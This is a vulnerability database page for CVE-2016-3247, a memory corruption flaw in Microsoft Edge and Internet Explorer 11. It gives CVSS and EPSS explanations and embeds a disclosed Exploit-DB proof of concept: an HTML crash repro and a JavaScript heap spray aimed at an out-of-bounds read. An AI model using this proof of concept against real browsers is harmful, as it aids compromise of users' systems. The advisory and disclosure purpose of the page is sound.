CVE-2016-3247 : Detail

CVE-2016-3247

7.5
/
High
94.34%V3
Network
2016-09-14
08h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

Microsoft Internet Explorer 11 and Microsoft Edge allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Microsoft Browser Memory Corruption Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 40797

Publication date : 2016-11-20 23h00 +00:00
Author : Skylined
EDB Verified : Yes

<!-- Source: http://blog.skylined.nl/20161118002.html Synopsis A specially crafted web-page can cause an integer underflow in Microsoft Edge. This causes CText­Extractor::Get­Block­Text to read data outside of the bounds of a memory block. Known affected software, attack vectors and mitigations Microsoft Edge 11.0.10240.16384 An attacker would need to get a target user to open a specially crafted web-page. Java­Script is not necessarily required to trigger the issue. Repro.html <!DOCTYPE html> <style> *::first-letter{ border: 0; } *{ white-space: pre-line; } </style> <body> A<script>alert();</script>&#x­D;&#x­D;B </body> Description Though I did not investigate thoroughly, I did find out the following: The root cause appears to be an integer underflow in a 32-bit variable used in CText­Extractor..Get­Block­Text as an index to read a WCHAR in a string buffer. This index is decreased once too often and becomes -1, or a very large positive number depending on how it is used. This does not result in a crash on 32-bit systems, as an integer wrap causes the code to read one WCHAR before the start of the buffer, which is normally also in allocated memory. On 64-bit systems, the 32-bit -1 value is interpreted as 0x­FFFFFFFF, a very large positive value. As this is an index into a WCHAR string, it gets multiplied by two and added to the start of the buffer to find the location of a WCHAR to read. This causes the OOB read to be around 8Gb (!!) beyond the address at which the buffer is allocated. The crash happens in code that appears to be rendering the web-page, which does not immediately offer an obvious way of extracting information using this bug. Exploit This is where it gets interesting, as the OOB read happens approximately 0x2`00000000 bytes after the address at which the buffer is allocated. This presents us with a problem: how to store some information that we'd be interested in reading at such a large offset from the original allocation? As one might come to expect from me, I used a heap spray. But it needed to be a special kind of heap spray as I did not want to actually have to allocate 8Gb of RAM. However, about ten years ago (boy, time flies!) I developed a heap spray that uses significantly less RAM than a traditional heap spray does; in practice probably about 33% in most cases, but theoretically much more in ideal situations. I've been meaning to blog about it, but never found the time to do so until today: you can read all about it here. That said, I have not actually looked at whether it is possible to exfiltrate useful information using this bug. However, I did write a Proof-of-Concept that attempts to make sure something is allocated in the area where the OOB read happens. This Po­C uses these heap spray tricks to spray the heap while minimizing memory use. The Proof-of-Concept uses about ~5.3Gb to allocate the memory at around 8Gb distance from the buffer (up to ~10Gb to be sure). When you load the Po­C in a 64-bit version of Edge, you may notice that, unlike the original repro, it will not crash Edge (even though it does trigger the issues): the heap spray has allocated the memory that the out-of-bounds read accesses, and this prevents an access violation exception. Refreshing the page is likely to screw up the precise allocation process needed and will probably cause a crash. This proves that it is theoretically possible to allocate information at the address used by the code. All that is left is prove that the information read by the code can be exfiltrated somehow, and you have a working exploit. This is left as an exercises to the reader. --> <!DOCTYPE html> <style> *::first-letter{ border: 0; } *{ white-space: pre-line; } </style> <body> A<script> var ai­Allocation­Sizes = [ // max address ------. .---- RAM allocated -0x4000, // 4000 4000 4000 0x1000, // | 1000 5000 5000 -0x5000, // -4000 | 5000 a000 6000 0x5000, // | | 5000 f000 b000 -0x7000, // | -5000 | 7000 16000 d000 0x6000, // | | | 6000 1c000 13000 -0x8000, // | | -7000 | 8000 24000 14000 (5.3Gb) ]; var ao­Heap = [], o­To­Be­Freed; ai­Allocation­Sizes.for­Each(function (i­Allocation­Size) { if (i­Allocation­Size < 0 && o­To­Be­Freed) { console.log("-0x" + o­To­Be­Freed.byte­Length.to­String(16)); o­To­Be­Freed = null; // Free the heap block that was queued to be freed. Collect­Garbage(); } var u­Allocation­Size = Math.abs(i­Allocation­Size) * 0x10000 - 1; console.log("+0x" + u­Allocation­Size.to­String(16)); var o­Array­Buffer = new Array­Buffer(u­Allocation­Size); if (i­Allocation­Size < 0) { o­To­Be­Freed = o­Array­Buffer; // Schedule this to be freed } else { //ao­Heap.push(o­Array­Buffer); } }); </script>&#x­D;&#x­D;B </body> <!-- Time-line June 2016: This vulnerability was found through fuzzing. June 2016: This vulnerability was submitted to ZDI and i­Defense. July 2016: This vulnerability was acquired by ZDI. September 2016: This vulnerability was addressed by Microsoft in MS16-104. November 2016: Details of this issue are released. -->

Products Mentioned

Configuraton 0

Microsoft>>Edge >> Version -

Microsoft>>Internet_explorer >> Version 11

References

http://www.securitytracker.com/id/1036789
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/92828
Tags : vdb-entry, x_refsource_BID
http://seclists.org/fulldisclosure/2016/Nov/111
Tags : mailing-list, x_refsource_FULLDISC
http://www.securitytracker.com/id/1036788
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/40797/
Tags : exploit, x_refsource_EXPLOIT-DB